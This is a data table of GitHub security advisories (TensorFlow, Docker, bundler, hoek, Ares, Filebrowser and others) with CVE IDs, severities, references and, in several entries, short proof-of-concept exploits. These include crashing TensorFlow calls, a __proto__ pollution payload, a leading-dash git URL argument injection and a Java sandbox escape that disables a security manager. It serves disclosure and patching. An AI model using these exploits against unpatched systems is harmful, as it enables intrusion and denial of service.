ecosystem stringclasses 11
values | vuln_id stringlengths 10 19 | summary stringlengths 4 220 ⌀ | details stringlengths 34 13.5k | aliases stringlengths 17 87 ⌀ | modified_date stringdate 2019-03-26 14:13:00 2022-05-10 08:46:52 | published_date stringdate 2012-06-17 03:41:00 2022-05-10 08:46:50 | severity stringclasses 5
values | score float64 0 10 ⌀ | cwe_id stringclasses 581
values | refs stringlengths 82 11.6k | introduced stringclasses 843
values | code_refs stringlengths 46 940 | commits stringlengths 46 940 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
GHSA | GHSA-v768-w7m9-2vmm | Reference binding to nullptr in shape inference | ### Impact
An attacker can cause undefined behavior via binding a reference to null pointer in `tf.raw_ops.SparseFillEmptyRows`:
```python
import tensorflow as tf
tf.compat.v1.disable_v2_behavior()
tf.raw_ops.SparseFillEmptyRows(
indices = tf.constant([], shape=[0, 0], dtype=tf.int64),
values = tf.constant([], shape=[0], dtype=tf.int64),
dense_shape = tf.constant([], shape=[0], dtype=tf.int64),
default_value = 0)
```
The shape inference [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/ops/sparse_ops.cc#L608-L634) does not validate that the input arguments are not empty tensors.
### Patches
We have patched the issue in GitHub commit [578e634b4f1c1c684d4b4294f9e5281b2133b3ed](https://github.com/tensorflow/tensorflow/commit/578e634b4f1c1c684d4b4294f9e5281b2133b3ed).
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang of Baidu Security | {'CVE-2021-37676'} | 2021-08-25T14:41:26Z | 2021-08-25T14:41:26Z | HIGH | 7.8 | {'CWE-824'} | {'https://github.com/advisories/GHSA-v768-w7m9-2vmm', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-v768-w7m9-2vmm', 'https://github.com/tensorflow/tensorflow/commit/578e634b4f1c1c684d4b4294f9e5281b2133b3ed', 'https://nvd.nist.gov/vuln/detail/CVE-2021-37676'} | null | {'https://github.com/tensorflow/tensorflow/commit/578e634b4f1c1c684d4b4294f9e5281b2133b3ed'} | {'https://github.com/tensorflow/tensorflow/commit/578e634b4f1c1c684d4b4294f9e5281b2133b3ed'} |
GHSA | GHSA-5qgp-p5jc-w2rm | Arbitrary Code Execution in Docker | Docker before 1.3.2 allows remote attackers to write to arbitrary files and execute arbitrary code via a (1) symlink or (2) hard link attack in an image archive in a (a) pull or (b) load operation. | {'CVE-2014-6407'} | 2022-02-15T00:41:12Z | 2022-02-15T00:41:12Z | HIGH | 7.3 | {'CWE-59'} | {'https://secunia.com/advisories/60241', 'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6407', 'https://secunia.com/advisories/60171', 'https://github.com/advisories/GHSA-5qgp-p5jc-w2rm', 'https://lists.opensuse.org/opensuse-security-announce/2014-12/msg00009.html', 'https://docs.docker.com/v1.3/release-notes/', 'https://www.openwall.com/lists/oss-security/2014/11/24/5', 'https://nvd.nist.gov/vuln/detail/CVE-2014-6407', 'https://github.com/docker/docker/commit/3ac6394b8082d4700483d52fbfe54914be537d9e', 'https://lists.fedoraproject.org/pipermail/package-announce/2014-December/145154.html'} | null | {'https://github.com/docker/docker/commit/3ac6394b8082d4700483d52fbfe54914be537d9e'} | {'https://github.com/docker/docker/commit/3ac6394b8082d4700483d52fbfe54914be537d9e'} |
GHSA | GHSA-5mh9-r3rr-9597 | Code execution vulnerability in HtmlUnit | HtmlUnit prior to 2.37.0 contains code execution vulnerabilities. HtmlUnit initializes Rhino engine improperly, hence a malicious JavScript code can execute arbitrary Java code on the application. Moreover, when embedded in Android application, Android-specific initialization of Rhino engine is done in an improper way, hence a malicious JavaScript code can execute arbitrary Java code on the application. | {'CVE-2020-5529'} | 2021-08-25T21:12:10Z | 2020-05-21T21:08:33Z | HIGH | 8.1 | {'CWE-665'} | {'https://github.com/HtmlUnit/htmlunit/commit/bc1f58d483cc8854a9c4c1739abd5e04a2eb0367', 'https://github.com/advisories/GHSA-5mh9-r3rr-9597', 'https://nvd.nist.gov/vuln/detail/CVE-2020-5529', 'https://jvn.jp/en/jp/JVN34535327/', 'https://usn.ubuntu.com/4584-1/', 'https://lists.apache.org/thread.html/ra2cd7f8e61dc6b8a2d9065094cd1f46aa63ad10f237ee363e26e8563@%3Ccommits.camel.apache.org%3E', 'https://github.com/HtmlUnit/htmlunit/releases/tag/2.37.0', 'https://lists.debian.org/debian-lts-announce/2020/08/msg00023.html'} | null | {'https://github.com/HtmlUnit/htmlunit/commit/bc1f58d483cc8854a9c4c1739abd5e04a2eb0367'} | {'https://github.com/HtmlUnit/htmlunit/commit/bc1f58d483cc8854a9c4c1739abd5e04a2eb0367'} |
GHSA | GHSA-gq77-3r6x-383w | Cross-site Scripting in ShowDoc | ShowDoc version 2.10.3 and prior is vulnerable to stored cross-site scripting. A patch is available and anticipated to be part of version 2.10.4. | {'CVE-2022-0880'} | 2022-03-23T15:37:14Z | 2022-03-13T00:00:54Z | MODERATE | 5.4 | {'CWE-79'} | {'https://github.com/advisories/GHSA-gq77-3r6x-383w', 'https://github.com/star7th/showdoc/commit/818d7fe731f452acccacf731ce47ec27ad68049c', 'https://nvd.nist.gov/vuln/detail/CVE-2022-0880', 'https://huntr.dev/bounties/df347aa9-ed9b-4f75-af99-c83b8aad3bcf'} | null | {'https://github.com/star7th/showdoc/commit/818d7fe731f452acccacf731ce47ec27ad68049c'} | {'https://github.com/star7th/showdoc/commit/818d7fe731f452acccacf731ce47ec27ad68049c'} |
GHSA | GHSA-f7f4-hqp2-7prc | Improper Input Validation in sails-hook-sockets | Sails.js before v1.0.0-46 allows attackers to cause a denial of service with a single request because there is no error handler in sails-hook-sockets to handle an empty pathname in a WebSocket request. | {'CVE-2018-21036'} | 2021-09-22T21:11:20Z | 2020-07-24T20:10:21Z | HIGH | 7.5 | {'CWE-20'} | {'http://www.openwall.com/lists/oss-security/2020/07/19/1', 'https://github.com/balderdashy/sails/blob/56f8276f6501a144a03d1f0f28df4ccdb4ad82e2/CHANGELOG.md', 'https://github.com/balderdashy/sails-hook-sockets/commit/ff02114eaec090ee51db48435cc32d451662606e', 'https://github.com/advisories/GHSA-f7f4-hqp2-7prc', 'https://github.com/balderdashy/sails-hook-sockets/commit/0533a4864b1920fd8fbb5287bc0889193c5faf44', 'https://nvd.nist.gov/vuln/detail/CVE-2018-21036'} | null | {'https://github.com/balderdashy/sails-hook-sockets/commit/0533a4864b1920fd8fbb5287bc0889193c5faf44', 'https://github.com/balderdashy/sails-hook-sockets/commit/ff02114eaec090ee51db48435cc32d451662606e'} | {'https://github.com/balderdashy/sails-hook-sockets/commit/0533a4864b1920fd8fbb5287bc0889193c5faf44', 'https://github.com/balderdashy/sails-hook-sockets/commit/ff02114eaec090ee51db48435cc32d451662606e'} |
GHSA | GHSA-m9mq-p2f9-cfqv | Critical severity vulnerability that affects bleach | An issue was discovered in Bleach 2.1.x before 2.1.3. Attributes that have URI values weren't properly sanitized if the values contained character entities. Using character entities, it was possible to construct a URI value with a scheme that was not allowed that would slide through unsanitized. | {'CVE-2018-7753'} | 2022-03-04T19:40:00Z | 2019-01-04T17:46:30Z | CRITICAL | 9.8 | {'CWE-20'} | {'https://nvd.nist.gov/vuln/detail/CVE-2018-7753', 'https://bugs.debian.org/892252', 'https://github.com/advisories/GHSA-m9mq-p2f9-cfqv', 'https://github.com/mozilla/bleach/commit/c5df5789ec3471a31311f42c2d19fc2cf21b35ef', 'https://github.com/mozilla/bleach/releases/tag/v2.1.3'} | null | {'https://github.com/mozilla/bleach/commit/c5df5789ec3471a31311f42c2d19fc2cf21b35ef'} | {'https://github.com/mozilla/bleach/commit/c5df5789ec3471a31311f42c2d19fc2cf21b35ef'} |
GHSA | GHSA-2q66-6cc3-6xm8 | CSRF issue on preview pages in Bolt CMS | ### Impact
Bolt CMS lacked CSRF protection in the preview generating endpoint. Previews are intended to be generated by the admins, developers, chief-editors, and editors, who are authorized to create content in the application. But due to lack of proper CSRF protection, unauthorized users could generate a preview.
### Patches
This has been fixed in Bolt 3.7.1
### References
Related issue: https://github.com/bolt/bolt/pull/7853 | {'CVE-2020-4040'} | 2022-04-19T19:02:27Z | 2020-06-09T00:25:41Z | HIGH | 8.6 | {'CWE-352'} | {'https://github.com/bolt/bolt/security/advisories/GHSA-2q66-6cc3-6xm8', 'https://github.com/bolt/bolt/pull/7853', 'https://github.com/bolt/bolt/commit/b42cbfcf3e3108c46a80581216ba03ef449e419f', 'https://nvd.nist.gov/vuln/detail/CVE-2020-4040', 'https://github.com/advisories/GHSA-2q66-6cc3-6xm8', 'http://packetstormsecurity.com/files/158299/Bolt-CMS-3.7.0-XSS-CSRF-Shell-Upload.html', 'http://seclists.org/fulldisclosure/2020/Jul/4'} | null | {'https://github.com/bolt/bolt/commit/b42cbfcf3e3108c46a80581216ba03ef449e419f'} | {'https://github.com/bolt/bolt/commit/b42cbfcf3e3108c46a80581216ba03ef449e419f'} |
GHSA | GHSA-5q5w-mqp6-g2gh | Unrestricted Upload of File with Dangerous Type in jsdecena/laracom | jsdecena/laracom prior to version 2.0.9 is vulnerable to Unrestricted Upload of File with Dangerous Type. | {'CVE-2022-0472'} | 2022-02-11T20:51:15Z | 2022-02-06T00:01:07Z | MODERATE | 5.4 | {'CWE-434', 'CWE-79'} | {'https://github.com/advisories/GHSA-5q5w-mqp6-g2gh', 'https://nvd.nist.gov/vuln/detail/CVE-2022-0472', 'https://github.com/jsdecena/laracom/commit/256026193ce994dc4c1365e02f414d8a0cd77ae8', 'https://huntr.dev/bounties/cb5b8563-15cf-408c-9f79-4871ea0a8713'} | null | {'https://github.com/jsdecena/laracom/commit/256026193ce994dc4c1365e02f414d8a0cd77ae8'} | {'https://github.com/jsdecena/laracom/commit/256026193ce994dc4c1365e02f414d8a0cd77ae8'} |
GHSA | GHSA-fj7f-vq84-fh43 | Local Code Execution through Argument Injection via dash leading git url parameter in Gemfile. | In `bundler` versions before 2.2.33, when working with untrusted and apparently harmless `Gemfile`'s, it is not expected that they lead to execution of external code, unless that's explicit in the ruby code inside the `Gemfile` itself. However, if the `Gemfile` includes `gem` entries that use the `git` option with invalid, but seemingly harmless, values with a leading dash, this can be false.
To handle dependencies that come from a Git repository instead of a registry, Bundler uses various commands, such as `git clone`. These commands are being constructed using user input (e.g. the repository URL). When building the
commands, Bundler versions before 2.2.33 correctly avoid Command Injection vulnerabilities by passing an array of arguments instead of a command string. However, there is the possibility that a user input starts with a dash (`-`) and is therefore treated as an optional argument instead of a positional one. This can lead to Code Execution because some of the commands have options that can be leveraged to run arbitrary executables.
Since this value comes from the `Gemfile` file, it can contain any character, including a leading dash.
### Exploitation
To exploit this vulnerability, an attacker has to craft a directory containing a `Gemfile` file that declares a dependency that is located in a Git repository. This dependency has to have a Git URL in the form of `-u./payload`. This URL
will be used to construct a Git clone command but will be interpreted as the [upload-pack](https://git-scm.com/docs/git-clone#Documentation/git-clone.txt--ultupload-packgt) argument. Then this directory needs to be shared with the victim, who then needs to run a command that evaluates the Gemfile, such as `bundle lock`, inside.
### Impact
This vulnerability can lead to Arbitrary Code Execution, which could potentially lead to the takeover of the system. However, as explained above, the exploitability is very low, because it requires a lot of user interaction. It still could put developers at risk when dealing with untrusted files in a way they think is safe, because the exploit still works when the victim tries to make sure nothing can happen, e.g. by manually reviewing the `Gemfile` (although they would need the weird URL with a leading dash to not raise any flags).
This kind of attack vector [has been used in the past](https://www.cnbc.com/2021/01/26/north-korean-hackers-targeting-security-researchers-on-twitter.html) to target security researchers by sending them projects to collaborate on.
### Patches
Bundler 2.2.33 has patched this problem by inserting `--` as an argument before any positional arguments to those Git commands that were affected by this issue.
### Workarounds
Regardless of whether users can upgrade or not, they should review any untrustred `Gemfile`'s before running any `bundler` commands that may read them, since they can contain arbitrary ruby code.
### References
https://cwe.mitre.org/data/definitions/88.html | {'CVE-2021-43809'} | 2022-04-19T19:03:17Z | 2021-12-08T19:51:36Z | MODERATE | 6.7 | {'CWE-88'} | {'https://github.com/rubygems/rubygems/commit/0fad1ccfe9dd7a3c5b82c1496df3c2b4842870d3', 'https://github.com/rubygems/rubygems/pull/5142', 'https://nvd.nist.gov/vuln/detail/CVE-2021-43809', 'https://github.com/advisories/GHSA-fj7f-vq84-fh43', 'https://github.com/rubygems/rubygems/commit/a4f2f8ac17e6ce81c689527a8b6f14381060d95f', 'https://github.com/rubygems/rubygems/security/advisories/GHSA-fj7f-vq84-fh43'} | null | {'https://github.com/rubygems/rubygems/commit/a4f2f8ac17e6ce81c689527a8b6f14381060d95f', 'https://github.com/rubygems/rubygems/commit/0fad1ccfe9dd7a3c5b82c1496df3c2b4842870d3'} | {'https://github.com/rubygems/rubygems/commit/0fad1ccfe9dd7a3c5b82c1496df3c2b4842870d3', 'https://github.com/rubygems/rubygems/commit/a4f2f8ac17e6ce81c689527a8b6f14381060d95f'} |
GHSA | GHSA-hhrj-wp42-32v3 | Generation of Error Message Containing Sensitive Information in microweber | Generation of Error Message Containing Sensitive Information in Packagist microweber/microweber prior to 1.2.11. | {'CVE-2022-0660'} | 2022-02-28T22:18:01Z | 2022-02-19T00:01:36Z | HIGH | 7.5 | {'CWE-209'} | {'https://huntr.dev/bounties/01fd2e0d-b8cf-487f-a16c-7b088ef3a291', 'https://nvd.nist.gov/vuln/detail/CVE-2022-0660', 'https://github.com/advisories/GHSA-hhrj-wp42-32v3', 'https://github.com/microweber/microweber/commit/2417bd2eda2aa2868c1dad1abf62341f22bfc20a'} | null | {'https://github.com/microweber/microweber/commit/2417bd2eda2aa2868c1dad1abf62341f22bfc20a'} | {'https://github.com/microweber/microweber/commit/2417bd2eda2aa2868c1dad1abf62341f22bfc20a'} |
GHSA | GHSA-jp4x-w63m-7wgm | Prototype Pollution in hoek | Versions of `hoek` prior to 4.2.1 and 5.0.3 are vulnerable to prototype pollution.
The `merge` function, and the `applyToDefaults` and `applyToDefaultsWithShallow` functions which leverage `merge` behind the scenes, are vulnerable to a prototype pollution attack when provided an _unvalidated_ payload created from a JSON string containing the `__proto__` property.
This can be demonstrated like so:
```javascript
var Hoek = require('hoek');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
Hoek.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
```
This type of attack can be used to overwrite existing properties causing a potential denial of service.
## Recommendation
Update to version 4.2.1, 5.0.3 or later. | {'CVE-2018-3728'} | 2021-01-08T18:33:00Z | 2018-04-26T15:25:17Z | MODERATE | 0 | {'CWE-471'} | {'https://nodesecurity.io/advisories/566', 'https://access.redhat.com/errata/RHSA-2018:1263', 'https://access.redhat.com/errata/RHSA-2018:1264', 'https://hackerone.com/reports/310439', 'https://www.npmjs.com/advisories/566', 'https://snyk.io/vuln/npm:hoek:20180212', 'https://github.com/hapijs/hoek/commit/32ed5c9413321fbc37da5ca81a7cbab693786dee', 'http://www.securityfocus.com/bid/103108', 'https://github.com/advisories/GHSA-jp4x-w63m-7wgm', 'https://nvd.nist.gov/vuln/detail/CVE-2018-3728'} | null | {'https://github.com/hapijs/hoek/commit/32ed5c9413321fbc37da5ca81a7cbab693786dee'} | {'https://github.com/hapijs/hoek/commit/32ed5c9413321fbc37da5ca81a7cbab693786dee'} |
GHSA | GHSA-883x-6fch-6wjx | Trust Boundary Violation due to Incomplete Blacklist in Test Failure Processing in Ares | ### Impact
This allows an attacker to create special subclasses of `InvocationTargetException` that escape the exception sanitization because JUnit extracts the cause in a trusted context before the exception reaches Ares. This means that arbitrary student code can be executed in a trusted context, and that in turn allows disabling Ares and having full control over the system.
### Patches
Update to version `1.7.6` or later.
### Workarounds
Forbid student classes in trusted packages like, e.g., described in https://github.com/ls1intum/Ares/issues/15#issuecomment-996449371
### References
_Are there any links users can visit to find out more?_
Not that I know of.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in https://github.com/ls1intum/Ares/issues
* Email us, see https://github.com/ls1intum/Ares/security/policy
### Detailed description
Using generics, it is possible to throw checked exceptions without a `throws` clause:
<details>
<summary>ThrowWithoutThrowsHelper</summary>
```java
public class ThrowWithoutThrowsHelper<X extends Throwable>
{
private final X throwable;
private ThrowWithoutThrowsHelper(X throwable)
{
this.throwable = throwable;
}
private <R> R throwWithThrows() throws X
{
throw throwable;
}
public static <R> R throwWithoutThrows(Throwable throwable)
{
ThrowWithoutThrowsHelper<?> helper = new ThrowWithoutThrowsHelper<Throwable>(throwable);
@SuppressWarnings("unchecked")
ThrowWithoutThrowsHelper<RuntimeException> helperCasted = (ThrowWithoutThrowsHelper<RuntimeException>) helper;
return helperCasted.throwWithThrows();
}
}
```
</details>
Using this, it is possible for a malicious testee to throw an instance of a malicious subclass of `InvocationTargetException` (let's call it `EvilInvocationTargetException`).
This exception is catched by `org.junit.platform.commons.util.ReflectionUtils::invokeMethod`, which looks like this:
<details>
<summary>ReflectionUtils::invokeMethod</summary>
```java
public static Object invokeMethod(Method method, Object target, Object... args) {
Preconditions.notNull(method, "Method must not be null");
Preconditions.condition((target != null || isStatic(method)),
() -> String.format("Cannot invoke non-static method [%s] on a null target.", method.toGenericString()));
try {
return makeAccessible(method).invoke(target, args);
}
catch (Throwable t) {
throw ExceptionUtils.throwAsUncheckedException(getUnderlyingCause(t));
}
}
```
</details>
This method calls `getUnderlyingCause` (of the same class), passing to it the catched, malicious exception as an argument.
<details>
<summary>ReflectionUtils::getUnderlyingCause</summary>
```java
private static Throwable getUnderlyingCause(Throwable t) {
if (t instanceof InvocationTargetException) {
return getUnderlyingCause(((InvocationTargetException) t).getTargetException());
}
return t;
}
```
</details>
`getUnderlyingCause` in turn checks if the passed exception is `instanceof InvocationTargetException`, and if so, calls `getTargetException` on it. `getTargetException` can be overridden by subclasses of `InvocationTargetException`, like the `EvilInvocationTargetException`.
If `EvilInvocationTargetException` is in a whitelisted package (for example `de.tum.in.test.api.security.notsealedsubpackage`), `getTargetException` will be called with the entire stack containing only whitelisted frames.
This allows the attacker to uninstall the `ArtemisSecurityManager` in `EvilInvocationTargetException::getTargetException`:
<details>
<summary>Uninstalling ArtemisSecurityManager</summary>
```java
SecurityManager secman = System.getSecurityManager();
Class<?> aresSecmanClass = secman.getClass();
Field isPartlyDisabledF = aresSecmanClass.getDeclaredField("isPartlyDisabled");
isPartlyDisabledF.setAccessible(true);
isPartlyDisabledF.set(secman, true);
System.setSecurityManager(null);
```
</details>
After uninstalling `ArtemisSecurityManager`, the attacker is free to do anything expressible in Java; including reading and writing any files, opening network connections, and executing arbitrary shell commands. | null | 2022-04-19T19:03:18Z | 2022-01-21T23:39:19Z | HIGH | 8.2 | null | {'https://github.com/ls1intum/Ares/commit/af4f28a56e2fe600d8750b3b415352a0a3217392', 'https://github.com/ls1intum/Ares/security/advisories/GHSA-883x-6fch-6wjx', 'https://github.com/ls1intum/Ares/releases/tag/1.7.6', 'https://github.com/ls1intum/Ares/issues/15#issuecomment-996449371', 'https://github.com/advisories/GHSA-883x-6fch-6wjx'} | null | {'https://github.com/ls1intum/Ares/commit/af4f28a56e2fe600d8750b3b415352a0a3217392'} | {'https://github.com/ls1intum/Ares/commit/af4f28a56e2fe600d8750b3b415352a0a3217392'} |
GHSA | GHSA-6x3j-x9rp-whxp | Unrestricted Upload of File with Dangerous Type in showdoc | showdoc prior to 2.10.2 is vulnerable to Unrestricted Upload of File with Dangerous Type. | {'CVE-2022-0409'} | 2022-03-02T20:59:35Z | 2022-02-20T00:00:32Z | HIGH | 7.8 | {'CWE-434'} | {'https://github.com/advisories/GHSA-6x3j-x9rp-whxp', 'https://nvd.nist.gov/vuln/detail/CVE-2022-0409', 'https://huntr.dev/bounties/c25bfad1-2611-4226-954f-009e50f966f7', 'https://github.com/star7th/showdoc/commit/7383d7a3c1b0807b6f397ba7df415a0ce7ccc436'} | null | {'https://github.com/star7th/showdoc/commit/7383d7a3c1b0807b6f397ba7df415a0ce7ccc436'} | {'https://github.com/star7th/showdoc/commit/7383d7a3c1b0807b6f397ba7df415a0ce7ccc436'} |
GHSA | GHSA-72wf-hwcq-65h9 | Cross-Site Request Forgery in Filebrowser | A Cross-Site Request Forgery (CSRF) vulnerability exists in Filebrowser < 2.18.0 that allows attackers to create a backdoor user with admin privilege and get access to the filesystem via a malicious HTML webpage that is sent to the victim. | {'CVE-2021-46398'} | 2022-02-16T22:05:45Z | 2022-02-05T00:00:31Z | HIGH | 8.8 | {'CWE-352'} | {'https://febin0x4e4a.wordpress.com/2022/01/19/critical-csrf-in-filebrowser/', 'https://systemweakness.com/critical-csrf-to-rce-in-filebrowser-865a3c34b8e7', 'https://febin0x4e4a.blogspot.com/2022/01/critical-csrf-in-filebrowser.html', 'https://github.com/advisories/GHSA-72wf-hwcq-65h9', 'http://packetstormsecurity.com/files/165885/FileBrowser-2.17.2-Code-Execution-Cross-Site-Request-Forgery.html', 'https://github.com/filebrowser/filebrowser/commit/74b7cd8e81840537a8206317344f118093153e8d', 'https://nvd.nist.gov/vuln/detail/CVE-2021-46398', 'https://febinj.medium.com/critical-csrf-to-rce-in-filebrowser-865a3c34b8e7'} | null | {'https://github.com/filebrowser/filebrowser/commit/74b7cd8e81840537a8206317344f118093153e8d'} | {'https://github.com/filebrowser/filebrowser/commit/74b7cd8e81840537a8206317344f118093153e8d'} |
GHSA | GHSA-6p5r-g9mq-ggh2 | Reference binding to nullptr in `MatrixSetDiagV*` ops | ### Impact
An attacker can cause undefined behavior via binding a reference to null pointer in all operations of type `tf.raw_ops.MatrixSetDiagV*`:
```python
import tensorflow as tf
tf.raw_ops.MatrixSetDiagV3(
input=[1,2,3],
diagonal=[1,1],
k=[],
align='RIGHT_LEFT')
```
The [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/linalg/matrix_diag_op.cc) has incomplete validation that the value of `k` is a valid tensor. We have check that this value is either a scalar or a vector, but there is no check for the number of elements. If this is an empty tensor, then code that accesses the first element of the tensor is wrong:
```cc
auto& diag_index = context->input(1);
...
lower_diag_index = diag_index.flat<int32>()(0);
```
### Patches
We have patched the issue in GitHub commit [ff8894044dfae5568ecbf2ed514c1a37dc394f1b](https://github.com/tensorflow/tensorflow/commit/ff8894044dfae5568ecbf2ed514c1a37dc394f1b).
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360. | {'CVE-2021-37658'} | 2021-08-25T14:42:49Z | 2021-08-25T14:42:49Z | HIGH | 7.1 | {'CWE-824'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-37658', 'https://github.com/advisories/GHSA-6p5r-g9mq-ggh2', 'https://github.com/tensorflow/tensorflow/commit/ff8894044dfae5568ecbf2ed514c1a37dc394f1b', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6p5r-g9mq-ggh2'} | null | {'https://github.com/tensorflow/tensorflow/commit/ff8894044dfae5568ecbf2ed514c1a37dc394f1b'} | {'https://github.com/tensorflow/tensorflow/commit/ff8894044dfae5568ecbf2ed514c1a37dc394f1b'} |
GHSA | GHSA-6cf8-qhqj-vjqm | Prototype pollution in total.js | There is a prototype pollution vulnerability in the package total.js before version 3.4.7. The set function can be used to set a value into the object according to the path. However the keys of the path being set are not properly sanitized, leading to a prototype pollution vulnerability. The impact depends on the application. In some cases it is possible to achieve Denial of service (DoS), Remote Code Execution or Property Injection. | {'CVE-2020-28495'} | 2021-02-05T20:43:19Z | 2021-02-05T20:43:19Z | HIGH | 0 | {'CWE-400'} | {'https://github.com/totaljs/framework/blob/master/utils.js%23L6606', 'https://github.com/totaljs/framework/blob/master/utils.js%23L6617', 'https://www.npmjs.com/package/total.js', 'https://github.com/advisories/GHSA-6cf8-qhqj-vjqm', 'https://github.com/totaljs/framework/commit/b3f901561d66ab799a4a99279893b94cad7ae4ff', 'https://snyk.io/vuln/SNYK-JS-TOTALJS-1046671', 'https://nvd.nist.gov/vuln/detail/CVE-2020-28495', 'https://docs.totaljs.com/latest/en.html%23api~FrameworkUtils~U.set'} | null | {'https://github.com/totaljs/framework/commit/b3f901561d66ab799a4a99279893b94cad7ae4ff'} | {'https://github.com/totaljs/framework/commit/b3f901561d66ab799a4a99279893b94cad7ae4ff'} |
GHSA | GHSA-c9f3-9wfr-wgh7 | Lack of validation in data format attributes in TensorFlow | ### Impact
The `tf.raw_ops.DataFormatVecPermute` API does not validate the `src_format` and `dst_format` attributes. [The code](https://github.com/tensorflow/tensorflow/blob/304b96815324e6a73d046df10df6626d63ac12ad/tensorflow/core/kernels/data_format_ops.cc) assumes that these two arguments define a permutation of `NHWC`.
However, these assumptions are not checked and this can result in uninitialized memory accesses, read outside of bounds and even crashes.
```python
>>> import tensorflow as tf
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='1234', dst_format='1234')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 757100143], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='HHHH', dst_format='WWWW')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='H', dst_format='W')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
src_format='1234', dst_format='1253')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 2, 939037184, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
src_format='1234', dst_format='1223')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 32701, 2, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
src_format='1224', dst_format='1423')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([1, 4, 3, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='432')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 3, 2, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
src_format='12345678', dst_format='87654321')
munmap_chunk(): invalid pointer
Aborted
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],
src_format='12345678', dst_format='87654321')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[71364624, 0],
[71365824, 0],
[ 560, 0],
[ 48, 0]], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],
src_format='12345678', dst_format='87654321')
free(): invalid next size (fast)
Aborted
```
A similar issue occurs in `tf.raw_ops.DataFormatDimMap`, for the same reasons:
```python
>>> tf.raw_ops.DataFormatDimMap(x=[[1,5],[2,6],[3,7],[4,8]], src_format='1234',
>>> dst_format='8765')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[1954047348, 1954047348],
[1852793646, 1852793646],
[1954047348, 1954047348],
[1852793632, 1852793632]], dtype=int32)>
```
### Patches
We have patched the issue in GitHub commit [ebc70b7a592420d3d2f359e4b1694c236b82c7ae](https://github.com/tensorflow/tensorflow/commit/ebc70b7a592420d3d2f359e4b1694c236b82c7ae) and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.
Since this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360. | {'CVE-2020-26267'} | 2021-08-26T15:20:59Z | 2020-12-10T19:07:26Z | LOW | 4.4 | {'CWE-125'} | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-c9f3-9wfr-wgh7', 'https://github.com/advisories/GHSA-c9f3-9wfr-wgh7', 'https://github.com/tensorflow/tensorflow/commit/ebc70b7a592420d3d2f359e4b1694c236b82c7ae', 'https://nvd.nist.gov/vuln/detail/CVE-2020-26267'} | null | {'https://github.com/tensorflow/tensorflow/commit/ebc70b7a592420d3d2f359e4b1694c236b82c7ae'} | {'https://github.com/tensorflow/tensorflow/commit/ebc70b7a592420d3d2f359e4b1694c236b82c7ae'} |
